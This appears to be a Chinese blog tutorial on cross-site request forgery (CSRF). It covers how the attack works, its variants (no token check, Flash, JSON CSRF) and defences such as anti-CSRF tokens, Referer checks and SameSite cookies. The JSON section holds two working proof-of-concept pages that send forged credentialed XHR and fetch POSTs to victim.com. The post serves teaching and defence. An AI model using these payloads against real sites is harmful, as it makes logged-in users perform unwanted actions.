CSRF详解

前言

忽然发现,一直没有好好写一下csrf,所以在这里对其进行总结。

What's CSRF?

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。

洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)。这个操作不是用户真正想要执行的。

分类

1.未进行token校验

没有csrf-token的校验是最经典的CSRF漏洞高发处,但是这种漏洞只有在一些高风险的位置才有价值,比如csdn上关注/取关,发表博文等等一些操作,而在淘宝中如查看某一商品、执行某一模糊查询,这样的都属于无价值的被默认许可的csrf。

2.FLASH CSRF

http://blog.knownsec.com/2013/03/%E7%A7%91%E6%99%AE%E4%BD%8E%E8%B0%83%E7%9A%84flash-csrf%E6%94%BB%E5%87%BB/

3.Json劫持

(1)如果服务端没有校验Content-Type,或者没有严格校验Content-Type是否为application/json,我们可以使用XHR来实现csrf,poc如下:

<html>
 <head>
 <script style="text/javascript">
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://victim.com/carrieradmin/admin/priceSheet/priceSheet/savePriceSheet.do", true);
        xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
        xhr.withCredentials = true;
        xhr.send(JSON.stringify({"serialNumber":"CYS1811291899","type":2,"temp":1,"enableTime":"2018-11-01 00:00:00","disableTime":"2018-11-29 12:00:00","name":"1","supplierCode":"","province":"天津市","city":"天津市","region":"和q区","remark":"","fromType":2,"chargeDetailList":[{"province":"山西省","city":"晋城市","region":"陵川县","price42":"1","price65":"1","price71":"1","price76":"1","priceA":"11","priceB":"","priceC":"1","times":"1","unloadPrice":"1"}]}));
    }
   </script>
 </head>
  <body>
    
    <form action="#">
      <input type="button" value="Submit request" onClick="submitRequest()"/>
    </form>
  </body>
  
</html>

(2)验证CONTENT-TYPE的情况

使用XMLHttpRequest、fetch能构造出JSON请求,并且能设置Content-Type,但是无法跨域。

fetch发起的请求代码:

<html>
<title>JSON CSRF POC</title>
<script>
    fetch('http://victim.com/vul.page', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
</script>

</form>
</html>

详情参考:https://www.freebuf.com/articles/web/206407.html

自动检测

在github上有一个自动检测csrf和xss的脚本,当然在我心中csrf、xss只有手工才找的仔细。但是一切都要考虑成本。

http://github.com/BlackHole1/autoFindXssAndCsrf

 

防御方案

关于防御方案,一般有如下几种:

1)用户操作验证,在提交数据时需要输入验证码

2)请求来源验证,验证请求来源的referer

3)表单token验证

现在业界对CSRF的防御,一致的做法是使用一个Token(Anti CSRF Token)。

这个Token的值必须是随机的,不可预测的。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST,以form或AJAX形式提交,避免Token泄露。

例子:

第一步:用户访问某个表单页面。

第二步:服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。

第三步:在页面表单附带上Token参数。

第四步:用户提交请求后,服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致, 一致为合法请求,不是则非法请求。

4) 在前后端分离的前提下(例如使用ajax提交数据)设置不了token,可以给 cookie 新增 SameSite 属性,通过这个属性可以标记哪个 cookie 只作为同站 cookie (即第一方 cookie,不能作为第三方 cookie),既然不能作为第三方 cookie ,那么别的网站发起第三方请求时,第三方网站是收不到这个被标记关键 cookie,后面的鉴权处理就好办了。这一切都不需要做 token 生命周期的管理,也不用担心 Referer 会丢失或被中途被篡改。

SameStie 有两个值:Strict 和 Lax:

SameSite=Strict 严格模式,使用 SameSite=Strict 标记的 cookie 在任何情况下(包括异步请求和同步请求),都不能作为第三方 cookie。

SameSite=Lax 宽松模式,使用 SameSite=Lax 标记的 cookie 在异步请求 和 form 提交跳转的情况下,都不能作为第三方 cookie。

那么Strict和Lax的如何使用呢?

登录态关键的 cookie 都可以设置为 Strict。

后台根据用户的登录态动态新建一个可以用于校验登录态的 cookie ,设置为 Lax ,这样的话对外推广比如微博什么的,你希望用户在微博上打开你的链接还能保持登录态。

如果你的页面有可能被第三方网站去iframe或有接口需要做jsonp ,那么都不能设置 Strict 或 Lax。

发布了248 篇原创文章 · 获赞 337 · 访问量 24万+

猜你喜欢

转载自blog.csdn.net/qq_37865996/article/details/102294558